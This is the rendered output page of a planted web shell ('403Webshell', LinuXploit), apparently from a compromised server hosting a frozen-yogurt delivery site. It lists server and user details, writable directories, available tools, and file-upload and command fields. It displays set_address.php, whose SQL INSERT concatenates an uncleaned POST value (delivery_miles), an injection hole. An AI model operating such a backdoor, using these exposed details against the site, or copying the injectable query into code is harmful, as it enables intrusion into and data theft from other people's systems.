403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/hans_sites/froyo2me.com/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hans_sites/froyo2me.com/functions/set_address.php
<?php
	session_start();
	if(!empty($_POST['full_address'])) {
		$_SESSION['full_address'] = $_POST['full_address'];
		$_SESSION['address'] = $_POST['address'];
		$_SESSION['city'] = $_POST['city'];
		$_SESSION['state'] = $_POST['state'];
		$_SESSION['zip'] = $_POST['zip'];
		
		$_SESSION['miles'] = $_POST['delivery_miles'];
		/*if($_POST['delivery_miles'] > 5) {
			$_SESSION['extra_delivery_charge'] = '1';
		} else {
			$_SESSION['extra_delivery_charge'] = '0';
		}*/
		
		if(!empty($_POST['used_current_location'])) {
			$_SESSION['used_current_location'] = '1';
		} else {
			$_SESSION['used_current_location'] = '0';
		}
		
		if(!empty($_POST['curbside'])) {
			$_SESSION['curbside'] = '1';
		} else {
			$_SESSION['curbside'] = '0';
		}
		if(!empty($_POST['latitude'])) {
			$_SESSION['latitude'] = $_POST['latitude'];
		} else {
			$_SESSION['latitude'] = 0;
		}
		if(!empty($_POST['longitude'])) {
			$_SESSION['longitude'] = $_POST['longitude'];
		} else {
			$_SESSION['longitude'] = 0;
		}
		
		//Tracking
		require_once($_SERVER['DOCUMENT_ROOT'].'/php/mysql.php');
		$db->query("INSERT INTO yogurtland_delivers.step_tracking
					(
						ip_address
						,order_id
						,step
						,comments
						,ts
					) VALUES (
						'".clean($_SERVER['REMOTE_ADDR'])."'
						,'".clean((!empty($_SESSION['order_id'])) ? $_SESSION['order_id'] : '0')."'
						,'address_set'
						,'Address set to: ".clean($_POST['full_address'])." - ".$_POST['delivery_miles']." miles'
						,NOW()
					)");
	}

Youez - 2016 - github.com/yon3zu
LinuXploit